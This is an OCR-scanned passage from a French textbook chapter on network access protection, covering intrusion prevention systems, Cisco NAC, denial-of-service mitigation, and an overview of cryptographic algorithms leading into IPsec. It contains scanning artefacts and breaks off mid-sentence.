Les modifications des filtres sont decrites dans des procedures operationnelles. 

Les journaux d'activite font I'objet d'une analyse reguliere. 



Le pare-feu est un element de securite indispensable a la mise en oeuvre d'une politique 
de securite. Le choix d'un type de pare-feu parmi les differents concepts existants doit 
correspondre aux besoins de securite de l'entreprise. 

L' utilisation de protocoles de securite tels que IPsec assure pour sa part la confidentialite 
des flux reseau, comme le detaille la section suivante. 



Les N-IPS (Network-Intrusion Prevention System) 

Les N-IPS (Intrusion Prevention System) incarnent une nouvelle generation d' equipe- 
ments reseau qui combine les fonctionnalites des IDS (Intrusion Detection System) et 
celles des pare-feu. 

lis presentent au minimum deux interfaces reseau (entrante et sortante) et se positionnent 
en passerelle/coupure de niveau 2 OSI du trafic reseau (voir figure 7.5). 

Bien qu'un N-IPS reste invisible pour le trafic IP (il n'agit pas comme un nceud IP), le 
trafic reseau est analyse en son sein afin de controler les donnees et de detecter des atta- 
ques potentielles. 

V 

A l'inverse d'un IDS, un N-PIS peut agir directement sur le trafic lors de la detection 
d'un trafic malicieux en agissant en coupure sur ce trafic. Cela permet de reduire la 
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Figure 7.5 

Comparaison N-IPS/IDS 




propagation de l'attaque au plus vite. L'objectif de tels equipements est ainsi d'offrir des 
contre-mesures en temps reel. 

Les N-IPS offrent la fonctionnalite « packet scrubbing », qui permet de controler la 
consistance des donnees en relation avec les protocoles qui les vehiculent (IP, TCP, etc.). 
lis peuvent en outre analyser les paquets fragmentes, verifier les attaques d' overlapping 
et proteger des attaques manipulant des TTL (Time To Live). 

Pour lutter contre les faux positifs (evenement remonte alors qu'il ne s'agit pas d'un reel 
evenement d' intrusion) ou les faux negatifs (evenement d' intrusion non detecte malgre 
l'usage de la signature correspondant a l'evenement), les methodes de detection utilisees 
par un N-IPS sont les suivantes : 

• Pattern matching : detection elementaire permettant de verifier si une sequence 
d' octets existe ou non dans un paquet donne. Cette sequence peut etre assimilee a une 
signature de l'attaque. 

• Stateful pattern matching : detection permettant de verifier si une sequence d' octets 
existe ou non dans un paquet donne en tenant compte du contexte reseau (ordre des 
paquets, fragmentation, etat de la session, etc.). Cette detection necessite davantage de 
ressources memoire et processeur. 

• Protocol decode : detection permettant de verifier les donnees en relation avec les 
protocoles qui les vehiculent. Toute anomalie ou inconsistance (controle de la 
longueur des champs, du nombre d' arguments, des valeurs interdites, etc.) par rapport 
aux RFC (referentiel de base) peut etre decelee. 

• Heuristic analysis : detection fondee a la fois sur une base de signatures et sur une 
analyse statistique du traflc reseau afln d'emettre des alertes correlees. 

Deployer un N-IPS en passerelle sur un segment de reseau introduit cependant un point 
de faiblesse en cas de probleme physique ou logiciel. Pour corriger ce type de probleme, 
des equipements appeles bypass hardware permettent de transformer le N-IPS en cable 
droit en cas de coupure d' alimentation electrique ou de probleme hardware interne, par 
exemple. De meme, des equipements bypass software permettent, en cas de mise a jour 
ou d' arret d'une application, de laisser passer les paquets de maniere transparente. 
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Controle de I'acces au reseau 

Cisco a annonce une nouvelle initiative pour se connecter a un reseau. Appelee NAC 
(Network Access Control), elle permet de verifier un certain nombre de points de securite 
avant d'autoriser un systeme a se connecter au reseau local. L'objectif est ainsi de contro- 
ler les acces au plus pres de leurs sources. 

Pour y parvenir, le systeme qui desire se connecter et le commutateur (ou le routeur) atta- 
che au LAN doivent integrer la fonctionnalite NAC, comme l'illustre la figure 7.6. 



Figure 7.6 
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Du point de vue de la securite, il est toujours recommande de choisir la fonctionnalite 
NAC integree dans un commutateur, qui agit au niveau 2 OSI, plutot que dans un routeur, 
lequel agit au niveau 3, pour la connexion physique au reseau. Un commutateur peut 
mettre en oeuvre des mecanismes de securite de VLAN (Virtual Local Area Network), de 
controle des adresses MAC (Media Access Control), etc., qui sont moins permissifs que 
ceux d'un routeur, qui ne voit passer que des trames IP. 

Avant de se connecter au reseau, un dialogue s'etablit entre le systeme et le commutateur 
(ou routeur) d' acces au reseau (phase 1). Le commutateur (ou routeur) communique 
alors avec un serveur de politiques de securite (phase 2) pour valider ou refuser la 
demande d' acces du systeme au reseau. 

Durant cette phase de validation, les regies de securite pour acceder au reseau peuvent 
etre les suivantes : 

1. L'utilisateur s'authentifle aupres d'un serveur d'authentiflcation. 

2. En cas de succes, le controle d'acces s'assure des poins suivants : 

- Le systeme a les dernieres mises a jour de securite correspondant a son systeme 
d' exploitation. 

- Le systeme a la derniere mise a jour du logiciel antivirus ainsi que la base de signa- 
ture des virus. 
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Dans le cas ou Tun de ces controles n'est pas valide, le systeme n'est pas autorise a se 
connecter au reseau. II ne peut alors que se connecter a une zone reseau dite de quaran- 
taine. De maniere plus precise, une zone reseau specifique appelee quarantaine est acces- 
sible au systeme et lui permet d'appliquer les dernieres mises a jour de securite, de mettre 
a jour son logiciel antivirus, etc., sans avoir un acces global au reseau. 

Le dialogue entre le systeme et le commutateur (ou routeur) s'etablit a l'aide du proto- 
cole EAP au-dessus d'UDP, pour les connexions aux couches 2/3 et 3, ou s'etablit a 
l'aide du protocole EAP au-dessus du LAN, pour la couche 2 (dans le cadre du protocole 
IEEE 802. IX). Pour leur part, le commutateur et le serveur de politiques de securite 
dialoguent a l'aide du protocole EAP au-dessus de RADIUS. Plus precisement, ce sont 
1' agent NAC Cisco du systeme et le serveur d'authentification qui dialoguent en EAP. 
Les intermediaries ne sont la que pour relayer les messages EAP. 

Rappelons que le protocole EAP (Extensible Authentication Protocol) offre un mecanisme 
standard pour la prise en charge de methodes d'authentification supplementaires. II repond 
aux demandes d'authentification des utilisateurs d' acces distants en employ ant d'autres 
peripheriques de securite (authentification par token, etc.), comme l'illustre la figure 7.7. 



Figure 7.7 
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Le systeme integre la fonction NAC par 1' intermediate d'un agent, appele CTA (Cisco 
Trust Agent), qui s'execute sur celui-ci. Le commutateur (ou routeur) integre lui aussi 
dans des versions recentes de 1'IOS la fonctionnalite NAC. Le serveur de politiques de 
securite est un serveur de type ACS (Access Control Server). 

II est possible de realiser un controle NAC aux trois niveaux protocolaires suivants : 

• Couche 2 : il est necessaire de deployer le protocole 802. IX (utilisation du protocole 
EAP Over LAN) au niveau du systeme et du commutateur pour etablir un dialogue 
NAC incluant les serveurs d'authentification. 

• Couches 2/3 : il est pas necessaire de deployer le protocole 802. IX sur le systeme, le 
protocole EAP au-dessus d'UDP suffisant a etablir un dialogue NAC incluant les 
serveurs d'authentification. En revanche, le commutateur doit etre capable de traiter 
les couches 2 et 3. 
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• Couche 3 : on utilise le protocole EAP au-dessus d'UDP pour etablir un dialogue NAC 
incluant les serveurs d'authentiflcation. 

Afln d'obtenir les informations de securite au sein du systeme, des agents specifiques sont 
necessaires, tel 1' agent CSA (Cisco Secure Agent). Ces agents interagissent avec 1' agent 
CTA afln de transmettre des informations precises au serveur de politiques de securite. 

Des partenariats sont en cours entre IBM, Trend Micro, McAfee, etc., afln de fournir une 
riche palette de controles de securite. 

Controle des attaques par deni de service 

Les denis de service exploitent generalement de fausses adresses IP sources afln de 
masquer l'origine des attaques. De telles adresses sont generalement choisies parmi les 
adresses IP dites reservees, ou BOGONS (RFC 1918). Ces BOGONS doivent etre flltres 
par les operateurs de telecommunications en peripheric de leurs reseaux afln de limiter 
leur exploitation a des fins de deni de service. Force est cependant de constater que ces 
flltres ne sont pas appliques de maniere systematique. 

La limitation en terme de bande passante d'un protocole tel que ICMP peut limiter les 
denis de service fondes sur de tels messages. La limitation d'une bande passante par 
protocole reseau reste toutefois un exercice perilleux et souvent voue a l'echec de par la 
nature non predictible des trafics. 

D'autres mecanismes reseau sont disponibles, notamment l'URPF (Unicast Reverse 
Forwarding Protocol), qui permet de n'autoriser un trafic que si l'adresse source existe 
dans les tables de routage. Cependant, ces mecanismes peuvent etre complexes a mettre 
en ceuvre et ne protegent pas des denis de service dans l'absolu. 

Le puits de routage, ou black hole 

La technique du puits de routage reseau, ou black hole, est realisee par l'operateur de 
telecommunications auquel est connecte le systeme vise par un deni de service. Elle 
comporte generalement les etapes suivantes : 

1. Detection d'un deni de service sur une adresse IP. Le responsable de la dite adresse 
avertit son operateur de telecommunications. 

2. L'operateur indique au processus de routage du reseau, generalement le protocole 
BGP (Border Gateway Protocol), que le trafic a destination de cette adresse IP doit 
etre mis systematiquement a la poubelle. L'operateur ne transporte pas ce flux, lequel 
est detruit a la peripheric de son reseau. 

Bien que ce mecanisme offre une premiere reponse, l'attaque a reussi puisque le systeme 
est reste inaccessible pendant la duree de l'attaque. De plus, bien que cette solution 
permette a l'operateur de telecommunications de proteger son coeur de reseau, elle n'est 
pas vraiment satisfaisante et a ete remplacee par celle du puits de filtrage, dit sink hole. 
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Le puits de filtrage, ou sink hole 

D'une maniere generale, les equipements reseau n'ont pas forcement la capacite d'analy- 
ser et de filtrer le traflc pour separer le traflc legitime de celui de l'attaque. II faut done 
rediriger le traflc vers un equipement dedie qui dispose de cette capacite. 

Dans ce cas, le protocole de routage BGP ne propage pas l'adresse du puits de routage, 
mais celle d'un puits de filtrage. Tous les paquets a destination de l'adresse IP attaquee 
passent par cet equipement filtrant. Le puits de filtrage permet des lors de determiner 
precisement l'attaque a l'aide d'outils embarques (Snort, Radware Defense Pro, etc.). 

Une fois les donnees analysees, le traflc epure de l'attaque est envoy e vers l'adresse IP 
destination, ou, si possible, des filtres peuvent etre mis en place sur les routeurs d' inter- 
connexion, comme l'illustre la figure 7.8. 



Figure 7.8 
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Client, adresse 10.1 0.203.25/32 



Pour l'adresse IP ou le client vise par l'attaque, le puits de filtrage est bien plus efficace 
que le precedent, dans la mesure ou son traflc n'est pas completement coupe. 

Cette solution montre toutefois ses limites lorsqu'il s'agit, par exemple, d'une attaque 
vers le port HTTP provenant d'une multitude de sources. Le filtre ne peut des lors reagir 
qu'en interdisant tout le traflc HTTP vers cette adresse IP. Pour remedier a cela, des 
regies de filtrage fondees sur les donnees applicatives peuvent etre definies. 

Une fois l'attaque de deni de service stoppee, le retour a la normale consiste a arreter d'annon- 
cer des routes specifiques, les paquets utilisant alors automatiquement le chemin standard. 



164 



Tableaux de bord de la securite reseau 



Analyse comportementale du trafic 

Bien que les mecanismes precedents limitent les denis de service, il ne s'agit pas a 
proprement de detection mais plutot de prevention et de reaction. L' analyse comporte- 
mentale du trafic est un nouveau moyen de lutte contre les denis de service par une 
analyse statistique du trafic. Elle se fonde sur la constatation que, lorsqu'un deni de 
service se produit, il modifle generalement le comportement statistique du trafic. 

Les donnees qui permettent d'alimenter le moteur d' analyse comportemental sont four- 
nies soit par les equipements reseau grace au protocole Netflow (voir figure 7.9), soit par 
des equipements dedies, tels que les sondes Arbor Networks. 



Figure 7.9 

Analyse statistique des 
trafics reseau 
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(analyse statistique du trafic) 

Le protocole Netflow s'appuie sur la notion de flux, un flux etant deflni par les criteres 
suivants : 

adresses source et destination ; 

protocole (TCP, UDP, ICMP, etc.) ; 

ToS (Type of Service) ; 

ports applicatifs ; 

interfaces d' entree et de sortie du routeur. 

Un equipement reseau utilisant Netflow maintient en memoire une table des flux actifs a 
un instant donne et compte le nombre de paquets et d' octets rectus pour chaque flux. A 
chaque paquet re^u, le routeur met a jour le cache Netflow, soit en creant une nouvelle 
entree, soit en incremental les compteurs d'une entree deja existante. Enfln, il transmet 
ces donnees a intervalle regulier a un serveur d' analyse. 

Grace a 1' analyse statistique du trafic, il est possible de detecter toute deviation impor- 
tante susceptible d'etre un deni de service. Cependant, une variation de trafic pouvant 
aussi etre produite par un comportement normal et legitime, la detection des denis de 
service necessite des verifications complementaires. 
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Assurer la confidentiality des connexions 

La confidentialite des informations transitant sur un reseau ne peut etre assuree que par le 
chiffrement des donnees avant leur emission. Le reseau ne peut garantir par lui-meme la 
confidentialite des donnees si elles ne sont pas chiffrees par un quelconque processus. 

Le chiffrement des donnees doit aussi avoir un sens. II doit, par exemple, se referer a une 
politique de classification des informations au sein de l'entreprise. Une telle classifica- 
tion a pour objectif d'etablir clairement des niveaux de confidentialite des donnees et de 
definir les moyens a mettre en oeuvre ainsi que les listes de diffusion. 

En s'appuyant sur cette politique de classification de reformation, le chiffrement appli- 
que aux donnees le niveau de confidentialite voulu au moyen d'algorithmes cryptogra- 
phiques et de cles de chiffrement de longueurs adequates. 

La confidentialite des connexions permet de se premunir d'un grand nombre d'attaques, 
parmi lesquelles : 

• Les attaques a l'aide de programmes d'ecoute, ou sniffers, qui permettent de recons- 
truire une transaction reseau de maniere invisible pour les acteurs de la connexion. 

• Les attaques par virus, dont 1' objectif est de copier tout fichier a caractere confidentiel, 
notamment les documents contenant le mot confidentiel ou les fichiers contenant les 
mots de passe de connexion a distance, etc. 

• Les attaques systeme apres divulgation de faiblesses de securite permettant d'obtenir 
des droits ou privileges non autorises. 

Pour garantir une isolation des fonctions de securite d'un reseau, il est preferable de 
dedier le chiffrement des donnees a un equipement specifique plutot que d'ajouter une 
telle fonction a un routeur ou a un pare-feu. 



Regies de securite pour la confidentialite des connexions 

Les regies de securite a considerer pour la confidentialite des connexions sont les suivantes : 

• Les connexions reseau vehiculant des donnees de nature confidentielle sont chiffrees. 

• Les documents de nature confidentielle qui doivent transiter sur le reseau sont chiffres. 

• Les connexions a des fins d'administration des equipements ou systemes reseau sont chiffrees. 

• Les connexions d'acces distants au reseau d'entreprise sont chiffrees. 



Le choix d'un protocole implementant des fonctions de chiffrement doit tenir compte du 
type d' application qui sera utilise ainsi que du besoin de securite desire. Afin de mieux 
cerner l'usage des protocoles presentes dans cette section, le tableau 7.2 recapitule leurs 
usages possibles. 

La figure 7.10 illustre, pour les differents types d' utilisation, les protocoles de securite 
les mieux adaptes. 

Les sections qui suivent presentent les avantages et inconvenients des differentes metho- 
des de chiffrement des connexions IP. 
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Tableau 7.2 Protocoles offrant des services de securite 





IPsec 


SSH 


SSL 


Administration systeme 


Possible 


Oui (remplace Telnet) 


Possible 


Administration reseau 


Oui 


Oui 


Possible 


Acces distant au reseau d'entreprise 


Oui 


Possible 


Possible 


Reseau prive virtuel 


Oui 


Possible 


Possible 


Connexion systeme 


Oui 


Oui 


Oui 


Connexion a une application 


Possible 


Oui 


Oui 


Facilite de mise en ceuvre 


+ 


+++ 


++++ 


Mise en ceuvre d'un tunnel IP 


Oui 


Oui : 

- Injection de paquets 

- PPP dans SSH 


Oui: 

- Injection de paquets 

- PPP dans SSL 



Figure 7.10 

Representation en couches 
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Algorithmes cryptographiques 

La cryptographic est une science qui etudie les outils servant a securiser les informations. 
De tout temps, l'art du chiffrement-dechiffrement a ete employe. 

Le chiffrement et le dechiffrement des donnees sont effectues par des algorithmes cryp- 
tographiques. Ces algorithmes reposent generalement sur des problemes mathematiques 
complexes, difficiles a resoudre, tels que la factorisation des nombres premiers, les loga- 
rithmes discrets, etc. 

Les algorithmes cryptographiques modernes necessitent une cle pour le chiffrement et 
une cle pour le dechiffrement. 

II existe deux grands types d' algorithmes cryptographiques, ceux dits a cle secrete et 
ceux dits a cle publique : 

• Algorithmes cryptographiques a cle secrete, ou symetriques. Les cles de chiffre- 
ment et de dechiffrement sont identiques. La securite repose sur la non-divulgation des 
cles et sur la resistance des algorithmes aux attaques de cryptanalyse. Les plus connus 
sont DES, IDEA, RC2, RC4 et AES (Advanced Encryption Standard). 

• Algorithmes cryptographiques a cle publique, ou asymetriques. Les cles pour le 
chiffrement et le dechiffrement sont differentes. La securite repose sur le fait que le 
temps necessaire pour deduire les cles secretes associees aux cles publiques est theori- 
quement non raisonnable. Les plus connus sont RSA (Rivest Shamir Adleman), les 
courbes elliptiques, Pohlig-Hellman, Rabin et ElGamal. 

Les algorithmes symetriques sont beaucoup plus rapides que les algorithmes asymetri- 
ques dans des conditions identiques de test. II ne faut pas en conclure que les algorithmes 
symetriques soient plus ou moins securises que les algorithmes asymetriques. lis sont 
simplement destines a des usages differents. 

La figure 7.11 illustre le principe de fonctionnement des algorithmes cryptographiques a 
cle secrete, ou symetrique. 
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Figure 7.11 

Le chiffrement symetrique 
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Les principaux algorithmes de chiffrement symetrique sont recenses au tableau 7.3. 
Tableau 7.3 Principaux algorithmes de chiffrement symetrique 



Algorithme 

DES (Data Encryption Standard), 1974 



IDEA (International Data Encryption Algorithm), 1990 



Blowfish, 1994 



SAFER (Secure and Fast Encryption Routine), 1994 



RC5 (Rivest's Code 5), 1995 



AES (Advanced Encryption Standard), 2000 



Description 

Congu par IBM, ce systeme de chiffrement par blocs est fonde sur 
une cle de 56 bits. Longtemps standard de chiffrement des com- 
munications gouvernementales non classees secretes, il a ete 
remplace recemment par AES. L'algorithme a ete rendu public. 

Congu par X. Lai et J. Massey, ce systeme de chiffrement par 
blocs s'appuie sur une cle de 128 bits. L'algorithme a ete rendu 
public. 

Congu par B. Schneier, ce systeme de chiffrement par blocs 
s'appuie sur une cle de longueur variable pouvant atteindre 
448 bits. L'algorithme a ete rendu public. 

Congu par J. Massey, ce systeme de chiffrement par blocs 
s'appuie sur une cle de 64 bits. L'algorithme a ete rendu public. 

Congu par R. Rivest, ce systeme de chiffrement par blocs 
s'appuie sur une cle de longueur variable. L'algorithme a ete 
rendu public. 

Congu par J. Daemen et V. Rijmen, ce systeme de chiffrement 
par blocs s'appuie sur une cle de 1 28 a 256 bits. II s'agit du stan- 
dard de chiffrement pour les communications gouvernementales 
non classees secretes. L'algorithme a ete rendu public. 



La distribution des cles constitue le point de faiblesse des algorithmes symetriques, les 
parties qui etablissent la session devant posseder la meme cle. Pour surmonter cette faiblesse, 
des protocoles d'echange de cles ont ete elabores, notamment le protocole Diffie-Hellman. 
Le tableau 7.4 recapitule les principaux algorithmes d'echange de cles symetriques. 



Algorithme 



Tableau 7.4 Principaux algorithmes d'echange de cles symetrique 

Description 



Diffie-Hellman, 1976 



RSA (Rivest Shamir Adleman), 1978 



Les cryptosystemes a courbes elliptiques, 1985-2005 

- ECMQV (Elliptic Curve Menezes-Qu-Vanstone) 

- ECDH (Elliptic Curve Diffie-Hellman) 



Congu par W. Diffie et M. E. Hellman, cet algorithme permet de parta- 
ger un secret commun apres un protocole d'echange de donnees. La 
securite du schema de Diffie-Hellman repose sur la difficulty de calcu- 
ler un logarithme discret. L'algorithme a ete rendu public. 

Congu par R. Rivest, A. Shamir et L. Adleman, cet algorithme permet 
de partager un secret commun apres un protocole d'echange de don- 
nees. La securite du schema repose sur la difficulty de la factorisation 
en nombres premiers. L'algorithme a ete rendu public. 

Introduits par V. Miller et N. Koblitz, de nombreux travaux ont deja ete 
menes sur ce type de systeme offrant de solides protections (pour des 
longueurs de cles plus petites que d'autres types d'algorithmes) contre 
la cryptanalyse. La securite du schema repose sur la difficulty de cal- 
culer un logarithme discret. La societe Certicom detient de nombreux 
brevets dans ce domaine. 



Protection des acces reseau 



169 



Chapitre 7 

L'objectif actuel des protocoles d'echange de cles est de permettre a deux acteurs 
d'echanger en toute securite des cles de session valables pour une seule session ou pour 
un temps donne dans une session. Le chiffrement des informations s'effectue dans un 
second temps au moyen d'algorithmes de chiffrement symetrique plus rapides que les 
algorithmes de chiffrement asymetrique. 

A titre d'exemple, l'algorithme Diffle-Hellman parcourt les etapes suivantes : 

1. Cedric et Denis choisissent un nombre premier p, et un nombre g inferieur a p et 
primitif par rapport kp (g est primitif par rapport kp si, pour chaque u de 1 a p - 1, il 
existe un v tel que g v = u mod(p) dans le groupe multiplicatif (Z/pZ,*). 

Prenons p = 1 1 et g = 2, par exemple. On verifie que g est primitif par rapport a p : 
2 10 =lmod(ll), 2 1 = 2mod(ll), 2 8 = 3mod(ll), 2 2 = 4mod(ll), 2 4 = 5mod(ll), 
2 9 = 6 mod(ll), 2 7 = 7 mod(ll), 2 3 = 8 mod(ll), 2 6 = 9 mod(ll), 2 5 = 10 mod(ll). 

2. Cedric choisit un nombre secret a = 5 et envoie a Denis la valeur 
X = g a mod(p) = 2 5 mod(l 1) = 10. 

3. Denis choisit a son tour un secret b-l^X envoie a Cedric la valeur 

Y=g b mod(p) = 2 7 mod(ll) = 7. 

4. Cedric peut alors calculer la cle secrete : 

(Y) a mod(p) = (g b mod(p)) a mod(p) = (7) 5 mod(ll) = 10. 

5. Denis peut alors calculer la cle secrete : 

(X) b mod(p) = (g a mod(p)) b mod(p) = (10) 7 mod(l 1) = 10. 

Les groupes ay ant la propriete de 1' association des puissances, l'egalite (g b ) a = (g a ) b est 
valide, et les deux parties obtiennent bel et bien la meme cle secrete. La securite de ce 
protocole reside dans la difficulte de resoudre le probleme du logarithme discret. En 
effet, deduire a (ou b) grace a g a (ou g b ), conditionne, bien entendu, par le choix des 
valeurs a, b, g, n, est un probleme difficile, que Ton ne sait pas resoudre efficacement 
(impossibilite calculatoire) pour de grands nombres. 

Ces dernieres annees, 1' adaptation de 1'algorithme Diffie-Hellman a d'autres groupes a 
donne lieu a ce que Ton appelle les cryptosystemes sur courbes elliptiques. L'idee est 
d'utiliser comme groupe G le groupe additif des points d'une courbe elliptique sur un 
corps fini F (groupe additif (£"C(GF(2 m )),+). Sans entrer dans les details, disons qu'il 
n'est pas connu d'algorithme sous-exponentiel qui resolve le probleme du logarithme 
discret dans ce contexte, contrairement au probleme du logarithme discret dans le groupe 
multiplicatif G d'un corps fini (groupe multiplicatif (Z/pZ,*)). 

Cette derniere observation a pour consequence importante de permettre l'utilisation de 
cles de taille moindre comparee a celles necessaires aux cryptosystemes fondes sur le 
logarithme discret dans les groupes classiques. A l'heure actuelle, 170 bits de cles 
(groupe additif (EC(GF(2 m )),+) suffisent pour assurer le meme niveau de securite qu'une 
cle Diffie-Hellman de 1 024 bits (groupe multiplicatif (Z/pZ,*)). 

Les algorithmes cryptographiques a cles publiques, ou asymetriques, sont les algorith- 
mes principalement utilises de nos jours pour echanger des cles de chiffrement de session 
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et pour la signature electronique. A 1' inverse des algorithmes cryptographiques a cle 
secrete ou symetrique, deux cles sont generees pour chaque utilisateur (privee, publique). 

Le nombre des algorithmes de chiffrement asymetrique est important. Le tableau 7.5 
recense les principaux d'entre eux. 



Tableau 7.5 Principaux algorithmes de chiffrement asymetrique 



Algorithme 



RSA (Rivest Shamir Adleman), 1 978 



Rabin, 1979 



EIGamal, 1985 



Cryptosystemes a courbes elliptiques, 1985-2005 : 
- ECIES (Elliptic Curve Integrated Encryption Standard) 



Description 

Congu par R. Rivest, A. Shamir et L. Adleman, ce systeme de chif- 
frement asymetrique par blocs s'appuie sur des cles de longueur 
variable. La securite du schema repose sur la difficulty de la facto- 
risation en nombres premiers. L'algorithme a ete rendu public. 

Congu par M. 0. Rabin, ce systeme de chiffrement asymetrique 
par blocs s'appuie sur des cles de longueur variable. La securite du 
schema repose sur la difficulty de calculer des racines carrees 
modulo un nombre composite. L'algorithme a ete rendu public. 

Congu parT. EIGamal, ce systeme de chiffrement asymetrique par 
blocs s'appuie sur des cles de longueur variable. La securite du 
schema repose sur la difficulty de calculer des logarithmes dis- 
crets. L'algorithme a ete rendu public. 

Introduit par V. Miller et N. Koblitz, de nombreux travaux ont deja 
ete menes sur ce type de systemes, offrant de solides protections 
(pour des longueurs de cles plus petites que d'autres types d'algo- 
rithmes) contre les attaques par cryptanalyse. La securite du 
schema repose sur la difficulty de calculer un logarithme discret. La 
societe Certicom detient de nombreux brevets dans ce domaine. 



La securite de RSA reside dans la difficulty de factoriser un nombre n (comme les cles 
publique et privee sont fondees sur p et q, un attaquant doit factoriser n pour casser le 
chiffrement). Deduire les facteurs premiers d'un nombre n (conditionne bien entendu par 
le choix de n) est un probleme difficile, que Ton ne sait pas resoudre efficacement 
(impossibilite calculatoire). A l'heure actuelle, il est imperatif d'utiliser pour RSA des 
entiers p et q qui soient tels que leur produit comporte au moins 1 024 bits. 

Outre la factorisation entiere, un autre probleme largement utilise en cryptographie est 
l'extraction de logarithmes discrets. Comme indique precedemment, a l'heure actuelle, 
170 bits de cles suffisent pour assurer le meme niveau de securite qu'une cle RSA de 
1 024 bits. 

On observe dans la pratique que les algorithmes symetriques sont utilises pour le chiffre- 
ment des donnees et que les algorithmes asymetriques sont utilises pour l'authentifica- 
tion et la distribution de cles. 



Algorithmes de signature numerique a cle publique 

L'objectif d'une signature numerique est de permettre a un destinataire d'un message de 
verifier l'integrite des donnees et de controler l'identite de leur expediteur. Cette verifica- 
tion s'appuie sur la cle publique de l'emetteur du message. 
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Le tableau 7.6 recense les principaux algorithmes dedies a la signature numerique a cle 
publique. 



Algorithme 



Tableau 7.6 Principaux algorithmes de signature numerique a cle publique 

Description 



RSA(Rivest Shamir Adleman), 1978 



DSA (Digital Signature Algorithm), 1991 



GOST (Gosudarstvennyi Standard of Russia Federation), 1994 



ESIGN, 1990 



Les cryptosystemes a courbes elliptiques, 1985-2005 

- ECDSA (Elliptic Curve Digital Signature Algorithm) 

- ECPVS (Elliptic Curve Pintsov Vanstone Signatures) 

- ECNR (Elliptic Curve Nyberg Rueppel) 



Congu par R. Rivest, A. Shamir et L. Adleman, ce systeme 
de chiffrement asymetrique par blocs s'appuie sur des cles 
de longueur variable. La securite du schema repose sur la 
difficulty de la factorisation en nombres premiers. L'algo- 
rithme a ete rendu public. 

Congu par D. W. Kravitz (NSA), cet algorithme est le stan- 
dard des applications de signature numerique federales. 
L'algorithme a ete rendu public. 



Congu par le service de cryptographie russe, cet algorithme 
est le standard des applications de signature numerique rus- 
ses. L'algorithme a ete rendu public. 

Congu par A. Fujiaski et T. Okamoto, cet algorithme est le 
standard des applications de I'operateur de telecommunica- 
tions japonais NTT. L'algorithme a ete rendu public. 

Introduits par V. Miller et N. Koblitz, de nombreux travaux ont 
deja ete menes sur ce type de systemes, offrant de solides 
protections (pour des longueurs de cles plus petites que 
d'autres types d'algorithmes) contre les attaques de crypta- 
nalyse. La securite du schema repose sur la difficulty de cal- 
culer un logarithme discret. La societe Certicom detient de 
nombreux brevets dans le domaine. 



Fonctions de hachage 

Les fonctions de hachage construisent une empreinte d'une chaine de donnees, a partir de 
laquelle il est impossible de revenir a la chaine de donnees initiale. La probability que 
deux chaines de donnees aient une empreinte identique est tres faible. 

Ces fonctions sont utilisees, par exemple, pour la verification de 1'integrite des messages 
transmis. On cree pour cela une empreinte du message a transmettre, puis on transmet le 
message et l'empreinte. A la reception du message, on calcule l'empreinte du message 
re^u et on la compare a 1'empreinte initiale. Si les deux empreintes correspondent, c'est 
que le message n'a pu etre modifie. 

Les principales fonctions de hachage sont MD5, RIPE-MD et SHA-x (x = 1, 256, 384, 512). 



Codes d'authentification de message 

Un code d'authentification de message, ou MAC (Message Authentication Code), est le 
resultat d'une fonction de hachage a sens unique dependant d'une cle secrete. En d'autres 
termes, on peut construire un MAC a partir d'une fonction de hachage ou d'un algo- 
rithme de chiffrement par blocs. 
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Un moyen simple de transformer une fonction de hachage a sens unique en un MAC 
consiste a chiffrer l'empreinte d'un message avec un algorithme a cle secrete. 

Une methode de calcul de MAC a partir de fonctions de hachage plus elaborees et plus 
sures est HMAC (RFC 2104). La methode HMAC peut etre utilisee avec n'importe 
quelle fonction de hachage iterative telle que MD5 ou SHA-x. 

Une pratique courante avec les fonctions de calcul de MAC consiste a tronquer la sortie 
pour ne garder comme MAC qu'un nombre reduit de bits. Avec HMAC, on peut choisir 
de ne retenir que quelques bits de gauche, par exemple. 

Generation de cles 

Les cles sont des chaines de bits generees par un processus pseudo-aleatoire. Pour un 
algorithme symetrique de type DES, l'espace des cles, c'est-a-dire l'ensemble des cles 
possibles, est de l'ordre de 2 56 . Pour un algorithme asymetrique de type RSA, l'espace de 
cles repose sur l'espace des nombres premiers, puisque ces derniers sont utilises dans les 
cles generees. 

Les cles de chiffrement peuvent constituer un point de faiblesse si elles sont mal choisies 
ou qu'elles soient divulguees. C'est alors tout le systeme de chiffrement qui devient 
faible. Les cles doivent en outre etre generees par un generateur pseudo-aleatoire crypto- 
graphiquement sur. II ne faut jamais prendre les generateurs de cles disponibles sur Inter- 
net pour creer des cles de chiffrement pour son reseau. 

Generation de cles et nombres premiers 

Comme les cles utilisees pour les algorithmes cryptographiques sont generalement gene- 
rees a partir de nombres premiers, il devient legitime de se poser les questions suivantes : 
le stock des nombres premiers est-il limite ? quelle est leur proportion ? quelle est leur 
distribution ? 

Les reponses a ces questions ont ete apportees par les mathematiciens suivants : 

• 1737, L. Euler : il y a une infinite de nombres premiers. 

• 1 808, A. M. Legendre : la proportion des nombres premiers inferieurs a x est de 1' ordre 
de grandeur xl\og(x). 

• 1859, B. Riemann : formule exacte de la loi de distribution des nombres premiers en 
fonction des zeros de la fonction zeta. II confirme la proportion de Legendre (densite 
reguliere, mais comportement local impre visible). L'hypothese de Riemann sur les 
zeros de la fonction zeta reste encore a prouver de nos jours. 

L'ensemble des nombres premiers est done infini, et le choix pour generer des cles est lui 
aussi infini. Par exemple, on compte 2 151 nombres premiers codes sur 512 bits de longueur. 

Cryptanalyse 

La cryptanalyse est l'art de dechiffrer un texte code sans information prealable. De 
maniere simpliste, les cryptanalistes lancent generalement des attaques afin de tenter de 
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percer les secrets de 1'algorithme et des cles de chiffrement associees, mais il existe beau- 
coup d'autres variantes de ce type d'attaque. 

La suite de securite IPsec 

L' ensemble des briques cryptographiques presentees dans les sections precedentes sont 
utilisees dans divers protocoles de securite, tels que IPsec, SSH (Secure Shell), SSL 
(Secure Sockets Layer), etc. 

Pour faire face aux faiblesses de securite du protocole IPv4 (faiblesse d'authentiflcation 
des paquets IP, faiblesse de confidentialite des paquets IP), une suite de protocoles de 
securite pour IP, appelee IPsec (IP Security), a ete definie par 1'IETF (Internet Enginee- 
ring Task Force) afln d'offrir des services de chiffrement et d'authentiflcation. 

La figure 7.12 illustre le principe de fonctionnement du protocole IPsec. Ce protocole est 
situe au meme niveau que le protocole IP afln d'offrir ses services de securite. II reste 
cependant possible de ne pas utiliser le protocole IPsec, la couche reseau TCP se fondant 
alors uniquement sur des paquets IP. 



Figure 7.12 
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IPsec est issu d' etudes menees sur la future generation du protocole IPv6, appelee IPNG 
(Internet Protocol Next Generation), afln de faire face, entre autres, a la penurie future 
